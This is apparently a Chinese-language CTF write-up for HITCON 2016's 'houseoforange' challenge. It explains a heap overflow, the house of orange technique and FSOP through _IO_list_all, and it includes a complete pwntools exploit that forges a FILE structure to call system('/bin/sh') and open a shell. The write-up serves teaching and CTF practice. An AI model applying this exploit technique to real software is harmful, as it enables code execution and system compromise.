houseoforange_hitcon_2016(House of orange, unsorted bin attack,FSOP)

題目分析

在這裏插入圖片描述
在這裏插入圖片描述
只有添加,顯示,編輯三個功能,沒有刪除

在這裏插入圖片描述
添加函數,最多隻能添加四次,每次添加會依次執行malloc(0x10),malloc(name_size),calloc(8),name_size最大爲8
House結構體如下
在這裏插入圖片描述

struct Info{
int price;
int color;
}

struct House{
Info* info;
char* name;
}

在這裏插入圖片描述
在編輯函數中,可以重新輸入長度進行堆溢出
編輯次數最多爲3

利用原理

house of orange

根據題分析,本題是沒有釋放功能的,但是如果沒有空閒的chunk我們難以獲取libc地址,下面就介紹一種不需要釋放就能得到unsored bin的辦法
當我們申請一塊內存時,malloc函數會檢查各種bin,都不滿足條件之後會檢查top chunk是否滿足,(由於本題的堆溢出使得我們可以修改topchunk的size),如果topchunk也不行,就需要調用sysmalloc來申請內存,而此時又分爲brk 和 mmap兩種方式
如果所需分配的 chunk 大小大於 mmap 分配閾值(默認爲 128K,0x20000),就會調用mmap
所以我們分配的內存需要小於這個
然後來到下一個判斷

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

這裏需要滿足幾個條件:

  1. topchunk size > MINSIZE(0x10)
  2. top chunk inuse位爲1
  3. 修改之後的 size 必須要對齊到內存頁

滿足之後,top chunk就被free,從而進入unsorted bin

FSOP

在libc的_IO_list_all中,存放有一個_IO_FILE_plus結構體的指針,
如下圖,它指向_IO_2_1_stderr_
在這裏插入圖片描述
_IO_FILE_plus結構體詳細內容如下
在這裏插入圖片描述
其中_chain指向下一個_IO_FILE_plus結構體

在malloc中,它調用malloc_printerr來打印錯誤,經過一系列調用,最終來到_IO_flush_all_lockp

while (fp != NULL)
{
…
    fp = fp->_chain;
    ...
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

如果滿足以下條件:

  1. fp->_mode > 0
  2. _IO_vtable_offset (fp) == 0
  3. fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

就會調用 _IO_OVERFLOW,並把結構體當做第一個參數傳入
如果我們能夠把 _IO_OVERFLOW改爲system,並且僞造結構體,開頭爲/bin/sh,就能獲得shell了

漏洞利用

本題分爲兩個步驟,首先使用house of orange的辦法釋放出unsorted bin ,然後利用FSOP劫持控制流

  1. 申請一個小的house,然後把top chunk的大小改小
  2. 申請一個較大的house(此時原來的topchunk被釋放進unsorted bin),再申請一個large bin範圍內的house(切割unsorted bin),利用該house 泄露libc和堆地址
  3. 編輯house,把剩下unsorted bin的size改爲0x60,並在其中僞造_IO_FILE_plus結構體和unsorted bin chunk
    在這一步中,我們首先利用unsorted bin attack修改_IO_list_all,這需要把該chunk的bk改爲_IO_list_all-0x10
  4. 再次malloc,觸發錯誤,獲得shell
    malloc時,對unsorted bin進行判斷,此時該chunk的size爲0x60,不滿足要求,就把該chunk放入small bin,並且向bk->fd寫入main_arena+0x58,即向_IO_list_all寫入main_arena+0x58
    此時判斷下一個unsorted bin(_IO_list_all),而這裏實際上沒有chunk,此時會觸發錯誤
    此時第一個_IO_FILE_plus結構體爲main_arena+0x58,而它不滿足條件,就通過_chain調到下一個_IO_FILE_plus結構體,_chain位於0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,這就回到了我們僞造的_IO_FILE_plus結構體

Exp

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *$rebase(0x13CB)
	c
	x/10gx $rebase(0x203068)
	''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')

def add(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('1')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name :")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))


def show():
	r.recvuntil("Your choice : ")
	r.sendline('2')

def edit(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('3')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name:")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章